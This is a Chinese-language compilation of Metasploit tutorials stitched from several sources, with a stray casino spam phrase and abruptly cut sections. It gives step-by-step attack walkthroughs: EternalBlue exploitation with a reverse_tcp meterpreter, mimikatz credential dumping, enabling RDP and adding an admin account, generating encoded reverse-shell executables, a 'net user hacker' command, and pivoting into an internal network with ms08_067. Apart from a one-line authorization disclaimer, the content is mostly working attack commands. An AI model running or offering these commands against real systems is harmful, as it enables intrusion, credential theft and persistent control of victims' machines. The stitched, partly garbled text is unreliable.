Metasploit详解详细图文教程
Metasploit的使用方法概述
Metasploit 包含了n多种exploit和payload每一种都说一遍没有必要这里说说使用Metasploit的思路。
先说一下Metasploit的使用基本步骤:先对目标进行扫描,根据扫描出来的信息查找可利用的exploits,设置参数,然后攻击。
Metasploit 几乎包含了渗透测试中所有用到的工具,很全面,每一种工具都有其对应的使用环境,就是说针对性比较强。
渗透测试可以分为七个阶段(Metasploit指南上说的),本文更具这七个阶段来说说每个阶段中可以Metasploit的哪些功能,有些阶段用不到Metasploit。
这七个阶段分别是前期交互阶段,情报搜集阶段,威胁建模阶段,漏洞分析阶段,渗透攻击阶段,后攻击阶段,书写渗透报告阶段。
第一个阶段:前期交互阶段,这一阶段主要是和客户进行讨论,来确定渗透测试的目的和范围,不涉及到Metasploit,就不多说了。
第二个阶段:情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。
这里主要用到Msf 里auxiliary里边的modules,这里的modules都是些渗透前期的辅助工具。
一般的收集信息可以使用whois(这个是linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用syn(一种不建立头层皮连接的扫描)扫描,可以在msfconsole里边search syn 然后根据返回结果来确定使用哪个模块。
search syn 返回结果为:msf > search synMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- -----------auxiliary/dos/tcp/synflood normal TCP SYN Flooderauxiliary/scanner/ip/ipidseq normal IPID Sequence Scannerauxiliary/scanner/portscan/syn normal TCP SYN Port Scannerauxiliary/scanner/rogue/rogue_send normal Rogue Gateway Detection: Senderexploit/multi/http/vbseo_proc_deutf 2012-01-23 excellent vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injectionexploit/windows/ftp/aasync_list_reply 2010-10-12 good AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)exploit/windows/ftp/ftpsynch_list_reply 2010-10-12 good FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflowexploit/windows/misc/ms07_064_sami 2007-12-11 normal Microsoft DirectX DirectShow SAMI Buffer Overflowexploit/windows/tftp/attftp_long_filename 2006-11-27 average Allied Telesyn TFTP Server 1.9 Long Filename Overflowpost/windows/gather/apple_ios_backup normal Windows Gather Apple iOS MobileSync Backup File Collection澳门银河赌场可以看出前几个是辅助模块中包含syn信息的,后几个是攻击模块,其中auxiliary/scanner/portscan/syn 这一条就是要用到的syn 扫描moduls。
Kali系统metasploit使用教程
Kali系统metasploit使⽤教程基础配置由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的⽅式不起作⽤。
在kali 2.0中启动带数据库⽀持的MSF⽅式如下:1 ⾸先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;2 初始化MSF数据库(关键步骤!):msfdb init;(如不能初始化,就⽤msfdb reinit试试吧!默认创建的数据库名:msf,msf_test;⽤户名:msf;⼝令默认为空)3 运⾏msfconsole:msfconsole;4 在msf中查看数据库连接状态:db_status。
5更新metasploit:msfupdate(我的更新,暂未成功,应该是源的问题!)6设置启动⾃动启动msf和postgresql:update-rc.d postgresql enableupdate-rc.d metasploit enable好了,现在我们来试试,怎么⽤吧!在Metasploit中扫描在Metasploit中,附带了⼤量的内置扫描器。
使⽤这些扫描器可以搜索并获得来⾃⼀台计算机或⼀个完整⽹络的服务信息。
本节将介绍使⽤Metasploit中的辅助模块实现扫描。
【实例4-4】在Metasploit中,扫描⽬标主机。
具体操作步骤如下所⽰:(1)启动MSF终端。
执⾏命令如下所⽰:root@kali:~# msfconsolemsf>(2)搜索所有可⽤的扫描模块。
执⾏命令如下所⽰:msf > search scannerMatching ModulesName Disclosure Date Rank Description—- ——————– ———– ———————————————auxiliary/admin/smb/check_dir_file normal SMB Scanner Check File/Directory Utilityauxiliary/bnat/bnat_scan normal BNAT Scannerauxiliary/gather/citrix_published_applications normal Citrix MetaFrame ICA Published Applications Scannerauxiliary/gather/enum_dns normal DNS Record Scanner and Enumeratorauxiliary/gather/natpmp_external_address normal NAT-PMP External Address Scannerauxiliary/gather/windows_deployment_services_shares normal Microsoft Windows Deployment Services Unattend Gathererauxiliary/pro/nexpose normal PRO: Nexpose Scanner Integrationauxiliary/pro/webscan normal PRO: Web Application Scannerauxiliary/scanner/afp/afp_login normal Apple Filing Protocol Login Utilityauxiliary/scanner/afp/afp_server_info normal Apple Filing Protocol Info Enumeratorauxiliary/scanner/backdoor/energizer_duo_detect normal Energizer DUO Trojan Scannerauxiliary/scanner/chargen/chargen_probe 1996-02-08 normal Chargen Probe Utility输出信息显⽰了,Metasploit中所有可⽤的扫描模块。
渗透神器Metasploit
渗透神器Metasploit⼀、Metasploit框架介绍Metasploit是⼀个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本⾝附带数千个已知软件漏洞的专业级漏洞攻击⼯具。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。
仿佛⼀夜之间,任何⼈都可以成为⿊客,每个⼈都可以使⽤攻击⼯具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
软件⼚商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队⼀直都在努⼒开发各种攻击⼯具,并将它们贡献给所有Metasploit⽤户。
我们能够通过它发现漏洞并进⾏快速实施攻击,当然需要在授权的情况下⼆、Metasploit模块介绍综合渗透测试框架MSF所⽤功能可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程模块名模块名描述Auxiliary辅助模块为渗透测试信息搜集提供了⼤量的辅助模块⽀持Exploits攻击模块利⽤发现的安全漏洞或配置弱点对远程⽬标系统进⾏攻击,从⽽获得对远程⽬标系统访问权的代码组件Payload攻击载荷模块攻击成功后促使靶机运⾏的⼀段植⼊代码Post后渗透攻击模块收集更多信息或进⼀步访问被利⽤的⽬标系统Encoders编码模块将攻击载荷进⾏编码,来绕过防护软件拦截三、MSF-基础指令命令描述help/?帮助菜单exit退出MSF控制台Back返回上⼀级info显⽰⼀个或者多个模块的信息show显⽰所给类型的模块background将当前操作在后台运⾏use使⽤所选择的模块set设置选项unset取消设置的选项session会话use使⽤所选择的模块使⽤MSF前先打开数据库开启数据库:service postgresql start如果不开启数据库也可以,不过关于数据库的命令⽤不了初始化MSF数据库:msfdb init开启MSF:msfconsole查看数据连接状态:db_status常⽤模块讲解Auxiliary 模块: show auxiliaryRank表⽰好⽤级别:normal(正常),excellent(优秀),good(良好),average(平均)命名规则:功能/服务/名称 scanner/smb/smb_ms17_010Exploits 模块: show exploits命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalbluePayload 模块:show payloads命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcpMSF搜索模块根据名称搜索 : search ms17_010MSF设置模块设置模块:use auxiliary/scanner/smb/smb_ms17_010查看选项:options四、MSF攻击流程Ping下需要攻击的⽬标地址 ping 192.168.2.168指定ping四次 ping 192.168.2.168 -c 4扫描⽬标地址端⼝有没有开启,永恒之蓝端⼝445,⽂件共享服务端⼝db_nmap 192.168.2.168 -p 445,-p指定445端⼝发现⽬标机器开启了445端⼝,查看hosts,发现⽬标地址已经存在这⾥了搜索下永恒之蓝模块名字search ms17_010使⽤辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执⾏漏洞use auxiliary/scanner/smb/smb_ms17_010options,查看需要设置什么,⼀般都是设置yes需要设置⼀个路径,这个路径就是字典⽂件,MSF已经设置好了,所以不需要设置RHOSTS⽬标服务器地址,远程主机的地址,需要设置成⽬标地址⽬标端⼝SMB线程⽤户名和密码都是不需要设置的,因为MSF利⽤远程命令执⾏这个漏洞去攻击设置RHOSTS,最简单就是set rhosts 192.168.2.168也可以利⽤hosts扫描到的数据库⾥⾯有的,直接hosts -R也可以使⽤run或者exploit都是可以攻击的发现了绿⾊的[+],说明可能存在MS17-010 漏洞的,同时也看到这台⽬标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF⾃带的只能攻击64位的接下来使⽤攻击模块search ms17发现有两个攻击模块可以使⽤,这⾥使⽤⼀个ms17_010_eternalblue直接use 8,进⼊到攻击模块设置payload,先查看show payloads反向连接tcp,因为不知道服务器有没有⽹使⽤meterpreterset payload windows/x64/meterpreter/reverse_tcpoptions 查看下还要设置什么需要设置本机ip地址和⽬标地址set lhost 192.168.2.250set rhosts 192.168.2.168设置好后现在就可以直接攻击了rungetuid查看下成功没拿到了SYSTEM的权限,NT是windowsshell看看,进⼊⽬标机器的CMD命令load mimikatz ,加载mimikatzkerberos,读取⽬标机器⽤户的凭证,明⽂密码background,把会话放在后台db_nmap 192.168.2.168 -p 3389,扫描下端⼝,看能不能远程登录端⼝没开启,使⽤post模块,通过修改注册表来开启⽬标端⼝search enable_rdp,rdp表⽰远程登录服务use 0options,看需要设置什么在system权限上,把⽬标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器⽬标的端⼝和⽤户名和密码set password 1234.aset session 1set username abcrun,攻击下db_nmap 192.168.2.168 -p 3389,扫描下看开放没rdesktop 192.168.2.168,远程登录五、后渗透⼯具 - meterpreter查看⽤户权限: meterpreter> getuid获取hash密码: meterpreter> hashdump上传⽂件: meterpreter> upload执⾏⽂件: meterpreter> execute -f notepad.exe获取屏幕截图:meterpreter>screenshot获取shell:meterpreter>shell声明:请勿⽤作违法⽤途,请在授权情况下使⽤。
(完整版)Metasploit利用溢出漏洞远控Windows靶机操作指南
1 网络测试环境构建首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图3所示的运行Windows 7系统的计算机。
显然这三台计算机处于同一个网段中,可以相互通讯,Kali系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2003和Windows 7系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 Kali攻击机图2 Windows 2003靶机图3 Windows 7 靶机2 扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit 环境,如图5所示。
图3-4 msfconsole命令图5 进入msf环境现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图6和7所示,获取了靶机的开放服务和操作系统类型等信息。
图6 Windows 2003扫描结果图7 Windows 7扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图8所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2003靶机存在MS08_067漏洞。
图8 漏洞扫描结果3 利用MS08_067漏洞渗透入侵MS08_067是一个曾经在各种Windows操作系统中广泛存在,而且危害特别严重的缓冲器溢出类型的漏洞,利用它可以在无需知道任何账户密码,也不需要受害者配合的情况下,通过网络直接远程控制受害的计算机。
为实现Metasploit在Windows操作系统的渗透测试,Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三个是CLI (命令行)模式。
Metasploit使用教程
Metasploit使用教程Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。
安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。
第二个是图形界面下的程序。
现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1看到很多命令吧,我们来解释一下“?” 帮助“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录“exit” 这个就是退出的意思“info”显示当前程序信息“quit”退出程序“reload”加载exploit和payloads“save”保存设置“setg”设置一个环境变量“show”显示当前可用的exploit“ use”选择一个exp“version”显示程序版本这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。
这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。
这就得用到info命令啦。
这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploitiis50_webdav_ntdll,就会看到图3所示这里只是查看Exploit的信息,我们还可查看shellcode的信息。
在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4左边是名字,右边是说明。
Metasploit教程msfpayload和msfencode
网上说用msfpayload 生成什么注入进程什么攻击后门,后边的注入进程是吓唬人的,就是一种进程隐藏技术不理解没关系(解释一下:进程注入是指将可恶意的可执行代码注入到一个已经运行的进程一般是合法系统进程,达到来隐藏自身的目的。
msfpayload 这个工具主要的功能就是将Metasploit 中的payloads(工具载荷)包装成一个可执行的文件,或者包装成指定的类型,msfpayload可以将包装好的数据输出,默认的输出设备为终端(就是那个打开的黑窗口)。
直接输出到终端上有可能输出乱码,其实这不是乱码,当数据被输出到终端是使用的是二进制,而终端显示的是二进制对应字符。
也可以指定输出到其他地方,例如网上的例子大部分是msfpayload windows/shell/reverse_tcp X >/root/test.exe 这一句的那个大于号“>"是个重定向符,无论是linux 下还是windows下重定向符有两种一种是> 另一种是>> ,第一种的作用是输出到后边指定的文件中如果文件存在则覆盖文件中的内容,另一种是如果文件存在则将数据追加文件末尾的。
也可以使用管道符号管道符号位”|“ 不包括双引号,意思是前边的程序输出的数据通过这个管道输出到后边的程序中。
msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 R | msfencode -t exe -o /root/testss*e 这个例子中就使用了管道符来传送数据。
msfencode 这个工具主要的功能是对输入过来的数据进行编码( 如果不指定编码方式则使用默认编码方式)。
然后将编码后的数据包装成一个指定的课执行的文件,或者将数据附着到一个指定的已存在的文件上。
msfencode 输出数据的方式和msfpayload一样,如果没有指定输出方式则默认输出到屏幕,msfencode 可以使用重定向符(之前已经说过了)来输出数据到文件,或者使用自带的-o 参数来指定文件。
Metasploit详解详细图文教程
Metasploit详解详细图文教程Metasploit是最流行的渗透测试框架之一,用于发现和利用安全漏洞。
它提供了一套完整的工具和资源,帮助安全专业人员评估网络系统的安全性。
本文将为你提供Metasploit的详细图文教程,帮助你了解Metasploit的基本概念和使用方法。
第一部分:概述第二部分:安装和配置2. 安装Metasploit:根据你的操作系统,选择适合的安装程序,并按照提示进行安装。
安装过程可能需要一些时间和磁盘空间。
3. 启动Metasploit:安装完成后,你可以在命令行终端或图形化界面中启动Metasploit。
第三部分:基本用法1. 扫描目标系统:使用Nmap等工具扫描目标系统,获取系统的开放端口和服务。
2. 选择exploit:根据目标系统的漏洞和发现的服务,选择适合的exploit模块。
exploit模块是用于利用系统漏洞的代码。
3. 配置exploit:根据目标系统的信息和漏洞的要求,配置exploit 模块。
例如,指定目标系统的IP地址或域名。
4. 执行exploit:运行exploit模块,攻击目标系统。
如果漏洞成功利用,你将获取对目标系统的访问权限。
5.探索目标系统:一旦获得对目标系统的访问权限,你可以进一步探索目标系统,并收集敏感信息。
第四部分:深入了解1. Payloads:在Metasploit中,Payload是一段代码,用于在目标系统上执行特定操作。
常见的Payload包括命令Shell、远程Shell和Meterpreter等。
2. Meterpreter:Meterpreter是Metasploit中最常用的Payload 之一,它提供了灵活的远程访问和控制目标系统的功能。
3. 主机和目标:在Metasploit中,主机是指运行Metasploit框架的系统,而目标是指你试图攻击的系统。
4. 模块:Metasploit提供了各种模块,用于系统发现、漏洞利用、远程控制等任务。
Metasploit操作指南PPT
2020/3/10
18
D7.选择要排除的文件、站点和地址。点击。
2020/3/10
19
D8. Metasploit 可以启动Nexpose 来执行设备发现操作。前往“Administration”(管理)
选项卡并点击“Global Settings”(全局设置)。向下滚动鼠标至“Nexpose Consoles” 部
• 2 在控制面版—区域和语言选项—选择英文(美 国)—高级选项卡中选择英文(美国)。因为 在安装的时候,会进行检测,如果属于非英文 地区会导致安装失败。
2020/3/10
6
要运行初始化设置 设置用户
激活
进入
2020/3/10
7
软件更新:Administration > Software Updates
2020/3/10
16
D5.点击右下角的“Launch Scan”(启动扫描)。一旦开始扫描,就会在“Tasks”(任务) 选项卡上显示“Discovering”(发现)任务。
2020/3/10
17
D6. 除了Metasploit 发现的设备以外,还可以导入设备列表。点击项目主页上的 。 将鼠标移至 来查看支持的所有文件类型。
2020/3/10
22
D11. 完成扫描后,主机选项卡“Analysis > Hosts”(分析> 主机)将显示检测出易受入侵 的主机。
2020/3/10
23
D12.最后一栏是主机状态。这些状态如下所示:
1. Scanned(已扫描)– 已发现设备。 2. Cracked(已破解)– 已成功地强力破解凭证,但尚未获取会话。 3. Shelled(已攻陷)– 已获取设备上打开的会话。 4. Looted(已掠取)– 已从设备收集证据。
metasploit的pivot实例详解,msf实例讲解,内网审计
metasploit的pivot实例详解,msf实例讲解,内网审计通过msf的meterpter创建的session里面创建Pivot,然后添加路由,在console里面执行my sql操作,终于得以顺利的XXOO,百密必有一疏,msf的pivo IT功能在做内网审计的时候确实很好用啊first,不管怎么样,各种方式,首先获得一个shell,system权限的shell,建立meterpter的sessionmeterpreter > getprivs====================================== ======================Enabled Process Privileges====================================== ======================SeDebugPrivilegeSeIncreaseQuotaPrivilegeSeSecurityPrivilegeSeTakeOwnershipPrivilegeSeLoadDriverPrivilegeSeSystemProfilePrivilegeSeSystemtimePrivilegeSeProfileSingleProcessPrivilegeSeIncreaseBasePriorityPrivilegeSeCreatePagefilePrivilegeSeBackupPrivilegeSeRestorePrivilegeSeShutdownPrivilegeSeSystemEnvironmentPrivilegeSeChangeNotifyPrivilegeSeRemoteShutdownPrivilegeSeUndockPrivilegeSeManageVolumePrivilegemeterpreter > getsystem…got system (via technique 1).然后看下本地的ip神马的meterpreter > ipconfig /allInterface 1============Name : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU : 1520IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0Interface 65539============Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:cd:69:e8MTU : 1500IPv4 Address : 192.168.0.116IPv4 Netmask : 255.255.255.0然后获取本地网络分配情况meterpreter > run get_local_subnetsLocal subnet: 192.168.0.0/255.255.255.0ok,咱们开始添加本地网关和ip地址,在session里面创建虚拟路由功能meterpreter > run autoroute -hGet a list of local subnets based on the host’s routesUSAGE: run get_local_subnetsOPTIONS:-D Delete all routes (does not require a subnet)-d Delete the named route instead of adding it-h Help and usage-n <opt> Netmask (IPv4, for example, 255.255.255.0-p Print active routing table. All other options are ignored-s <opt> Subnet (IPv4, for example, 10.10.10.0)不多解释,大家都能看懂,我们开始添加IP地址和子网掩码meterpreter > run autoroute -s 192.168.0.0/24[*] Adding a route to 192.168.0.0/255.255.255.0…[+] Added route to 192.168.0.0/255.255.255.0 via xxx.24y.x7.50[*] Use the -p option to list all active routes自动分配IP,然后查看一下分配的IP情况meterpreter > run autoroute -pActive Routing Table====================Subnet Netmask Gateway————- ——-192.168.0.0 255.255.255.0 Session 1创建成功,当前session成功创建虚拟路由客户端,后台运行当前sessionmeterpreter >BackgroundBackground session 1? [y/N]扫描当前目标网络的机器smb信息,借此来判断开放smb信息机器的一些信息msf auxiliary(smb_version) > run[*] Scanned 029 of 256 hosts (011% complete)[*] Scanned 052 of 256 hosts (020% complete)[*] Scanned 079 of 256 hosts (030% complete)[*] 192.168.0.101:445 is running windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:AV-PC) (domain:AV-PC)[*] 192.168.0.100:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:USERCHI-4JSMNL8) (domain:WORKGROUP)[*] Scanned 103 of 256 hosts (040% complete)[*] 192.168.0.116:445 is running Windows 2003 Service Pack 2 (language: Unknown) (name:MILSEC) (domain:WORKGROUP)[*] 192.168.0.127:445 is running Windows 2003 Service Pack 2 (language: Unknown) (name:MILSEC) (domain:WORKGROUP)[*] 192.168.0.128:445 is running Windows 2000 Service Pack 4 with MS05-010+ (language: Chinese –Traditional) (name:J86PG7C8X QQ PZDD) (domain:雨薇在线)[*] Scanned 128 of 256 hosts (050% complete)[*] Scanned 154 of 256 hosts (060% complete)[*] Scanned 180 of 256 hosts (070% complete)[*] Scanned 205 of 256 hosts (080% complete)[*] Scanned 231 of 256 hosts (090% complete)[*] Scanned 256 of 256 hosts (100% complete)[*] Auxiliary module execution completed人品爆发了,内网有一台Windows 2000server的机器,试试08067,估计杀他还是没问题的msf exp loit(handler) > use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi) > set LHOST 192.168.0.0LHOST => 192.168.0.0msf exploit(ms08_067_netapi) > set LPORT 9988LPORT => 9988msf exploit(ms08_067_netapi) > set RHOST 192.168.0.128 RHOST => 192.168.0.128msf exploit(ms08_067_netapi) > exploit[*] Started reverse handler on xx.xy.xxy.131:9988[*] Automatically detecting the target…[*] Fingerprint: Windows 2000 – Service Pack 4 with MS05-010+ – lang:Chinese – Traditional[*] Selected Target: Windows 2000 Universal[*] Attempting to trigger the vulnerability…[*] Sending stage (752128 bytes) to yyy.yxy.xyx.154[*] Meterpreter session 2 opened (xx.xy.xxy.131:9988 -> yyy.yxy.xyx.154:33303) at Sat Mar 24 00:42:30 +0400 2012meterpreter >连踩两次狗屎,可以去买彩票了。
Metasploit 使用方法
Metasploit 使用方法. 一准备工作1 安装framework-3.0.exe2 在线升级注意:1 软件安装在系统盘2 在线升级如图,网络最好用DDN二 拓扑图Port 2 ipUTM 400攻击者攻击对象三 测试条件1 防火墙①UTM 400软件版本,IPS 版本如图:②启用IPS 功能,动作PASS 。
diagnose ips global signature status enablediagnose ips global signature actions pass③按照拓扑图,配置防火墙网口IP④添加保护内容表,选择所有和IPS有关的选项,并选择日志。
⑤添加两条策略,port2<——>port3,并选择刚才添加的保护内容表⑥设置日志,级别选择“调试”2 攻击者安装framework-3.0.exe软件3 攻击对象安装攻击脚本对应的服务,例如,进行DNS攻击,攻击对象要开启DNS服务。
四测试方法命令行方式1 选择运行软件,如图:2 出现如下图界面,注意不要关闭Metasploit运行的终端程序,否则攻击服务就会停止。
3 选择Console ,如图:4 show exploits (显示所有攻击脚本)6 use windows/smb/ms05_039_pnp7 show options (显示选项)8 set RHOST 3.3.3.200 (设置被攻击主机的IP)9 set target 0(设置目标主机的操作系统)10 set payload windows/exec (选择加载的程序)11 set CMD net user hacker 123 /add & net localgroup administrators hacker /add(加载执行的命令)12 show options(查看所有的命令是否加载上)13 exploit(攻击)图形界面方式1 选择运行软件,如图:2 出现如下图界面,注意不要关闭Metasploit运行的终端程序,否则攻击服务就会停止。
Metasploit使用教程(操作实例,meterpreter,msfconsole,ms。。。
Metasploit使⽤教程(操作实例,meterpreter,msfconsole,ms。
1、控制Metasploit终端(MSFCONSOLE)MSFCONSOLE主要⽤于管理Metasploit数据库,管理会话,配置并启动Matasploit模块⼀些通⽤命令:help:该命令允许⽤户查看执⾏命令的帮助信息use module:该命令允许⽤户加载选择的模块set optionname module:该命令允许⽤户为模块设置不同的选项。
run:该命令⽤来启动⼀个⾮渗透攻击模块search module:该命令允许⽤户搜索⼀个特定的模块exit:退出MSFCONSOLE操作步骤:1)、终端启动MSFCONSOLE当出现msf>提⽰符,表⽰msfconsole启动成功2)、使⽤search命令搜索所有有效的mysql模块输出的信息显⽰为4列:模块名称,公开时间,等级、描述3)、使⽤ mysql扫描模块4)、显⽰模块的有效选项输出的信息显⽰为4列:选项名称,当前设置,需求及描述,其中Required为yes的选项是必须配置的,选项的作⽤在描述中可以了解到5)、为渗透攻击指定⽬标系统,⽤户⽂件和密码⽂件配置根据Required可以看到必须配置但是还未配置的选项有RHOSTS即⽬标主机IP其中选项USER_FILE 和PASS_FILE指定渗透的⽤户⽂件和密码⽂件,类似于爆破中的字典⽂件6)、启动渗透攻击测试出⽤户的名称和密码分别是root和password2、控制Metasploit命令⾏接⼝(MSFCLI:⼀个接⼝)但在2015年以后,Msfconsole中的-x选项代替Msfcli参考链接操作实例(利⽤CVE-2007-2447获得linux命令⾏的shell)Samba MS-RPC Shell命令注⼊漏洞编写shell脚本test.sh#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use multi/samba/usermap_script;\set payload cmd/unix/bind_netcat;\set RHOST $IP;\run"chmod +x test.sh 给脚本执⾏权限./test.sh执⾏脚本得到shell还可以利⽤msfconsole命令⾏得到shell search CVE-2007-2447利⽤ms08_067漏洞得到win xp的shell#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set payload windows/meterpreter/reverse_tcp;\set RHOST $IP;\run"3、控制Meterpreter通常作为利⽤漏洞后的攻击载荷所使⽤,攻击载荷在触发漏洞后能返回给⽤户⼀个控制通道,当获取⽬标系统上的⼀个Meterpreter连接时,⽤户必须使⽤Meterpreter传递攻击载荷。
使用Metasploit进行网络渗透测试和漏洞攻击的教程
使用Metasploit进行网络渗透测试和漏洞攻击的教程第一章:网络渗透测试的概念和重要性网络渗透测试是一种用于评估系统或应用程序安全性的方法,它模拟了黑客攻击的过程,以便发现系统中潜在的安全漏洞和薄弱点。
通过进行网络渗透测试,组织可以及早发现并修复这些漏洞,从而增强自身的安全性。
第二章:介绍Metasploit框架Metasploit是一个功能强大的开源渗透测试框架,它提供了一系列的工具和资源,帮助渗透测试人员和安全研究人员发现和利用系统中的安全漏洞。
Metasploit拥有广泛的漏洞利用模块和payloads,可以帮助用户快速进行渗透测试并获取系统的控制权限。
第三章:安装和配置Metasploit框架要使用Metasploit框架,首先需要将其安装在我们的操作系统中。
Metasploit框架可以在Windows、Linux和Mac OS等多个平台上运行。
在安装之前,我们需要先安装Ruby解释器和一些必要的依赖项,然后下载Metasploit框架的安装包,并按照提示进行安装和配置。
第四章:信息收集和扫描在进行网络渗透测试之前,我们需要对目标系统进行详细的信息收集和扫描,以便找到可利用的漏洞。
Metasploit提供了一些常用的信息收集和扫描工具,如Nmap和Nessus。
通过这些工具,我们可以获取目标系统的IP地址、开放的端口和运行的服务等信息,并对其进行漏洞扫描。
第五章:漏洞利用当我们发现了目标系统的漏洞后,就可以使用Metasploit框架提供的漏洞利用模块对其进行攻击。
Metasploit拥有大量的漏洞利用模块,包括针对操作系统、网络服务和应用程序的各种漏洞利用。
我们可以根据目标系统的信息选择合适的漏洞利用模块,并按照指引设置payload和目标参数,然后启动攻击。
第六章:权限提升和持久化一旦我们成功地获取了目标系统的控制权限,就可以进行一些提权和持久化操作,以便长期控制该系统。
Metasploit提供了一些用于提升权限和持久化的模块和技术,如UAC绕过、Hashdump 和后门程序等。
溢出攻击---Metasploit介绍汇总
在网络中明文传输的shellcode很可能被入侵检测系统和杀毒软件所识别 ,为了解决这一问题,Metasploit的开发者提供了MSF编码器,用来通过对 原始攻击载荷进行编码,来避免坏字符,以及逃避杀毒软件和IDS的检测。
Metasploit下一个Excelllent等级的编码器x86/shikata_ga_nai编码器
• Use <exploit name>(使用漏洞) • Set <OPTION NAME><option>(设置选项) • Exploit 开始漏洞攻击
14
目录
➢第一章 Metasploit基础 ➢第二章 Metasploit常用命令 ➢第三章 Metasploit高级应用
15
Meterpreter基础
• Metasploit的第一版是发布2003年10月,主要是基于Perl语言,集成了 11个渗透攻击模块。2004年4月发布了Metasploit 2.0,这个版本包含 了19个渗透攻击模块和超过27个攻击载荷。2007年发布了Metasploit 3.0,这个版本使用Ruby语言。
• 2009年秋季,Metasploit被漏洞扫描领域的一家领军企业Rapid7收购。 Rapid7在Metasploit上发布了两款版本:Metasploit Express和Metasploit Pro。Metasploit Express是一个带有GUI界面的轻量级Metasploit框架软 件。Metasploit Pro是Metasploit Express的扩展版本。
17
Screenshot
Screenshot(截屏)
Meterpreter的screenshot命令可以获取活动用户的桌面截屏。如果是 Windows系统则截屏保存到c:\metasploit\msf3目录下。
Metasploit入门教程
Metasploit⼊门教程0.Metasploit简介Metasploit是⼀款开源的渗透测试框架平台,到⽬前为⽌,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试⼯具,模块使⽤ruby语⾔编写,这使得使⽤者能够根据需要对模块进⾏适当修改,甚⾄是调⽤⾃⼰写的测试模块。
选定需要使⽤的攻击模块之后,你只需要使⽤简单的命令配置⼀些参数就能完成针对⼀个漏洞的测试和利⽤,将渗透的过程⾃动化、简单化。
1.Metasploit安装Windows平台⾸先从官⽅⽹站下载安装程序:默认端⼝:3650关闭杀毒软件后以管理员⾝份运⾏安装程序,安装过程会附带安装PostgreSQL数据库⽤以存储metasploit内各模块,载荷等索引,加快搜索速度安装完成后,在桌⾯⽣成Metasploit的快捷⽅式,右键以管理员⾝份运⾏将打开cmd并运⾏Metasploit控制台Windows下启动Metasploit时加载时间较长,若⽆反应请耐⼼等待3-5分钟Windows平台上,Metasploit还提供了Web访问界⾯,实现图形化的操作Linux平台从github获取git clone https:///rapid7/metasploit-framework.git切换到metasploit-framework⽬录,赋予msfconsol执⾏权限并启动cd metasploit-framework && chmod +x msfconsole && ./msfconsole使⽤以下命令下载⼀键式安装程序,具体安装进度试⽹络情况cd /opt && curl https:///rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod +x msfinstall && ./msfinstallKali Linux⾃带了Metasploit以及⾃动化渗透⼯具ArmitageAndroid平台安卓安装Metasploit实际上是先在安卓上安装⼀个linux⼦系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业⽹络环境下进⾏渗透测时,拎着⼀台笔记本接⼊⽹络也许会太过显眼,这种情况下在安卓⼿机或平板上安装Metasploit也不失为⼀种选择前提:安卓⼿机或平板需要root权限通常选择安装Termux作为基本环境,启动后会联⽹下载系统,具体时间视⽹络环境长短不⼀,所以你可以选择在这时候睡个午觉什么的 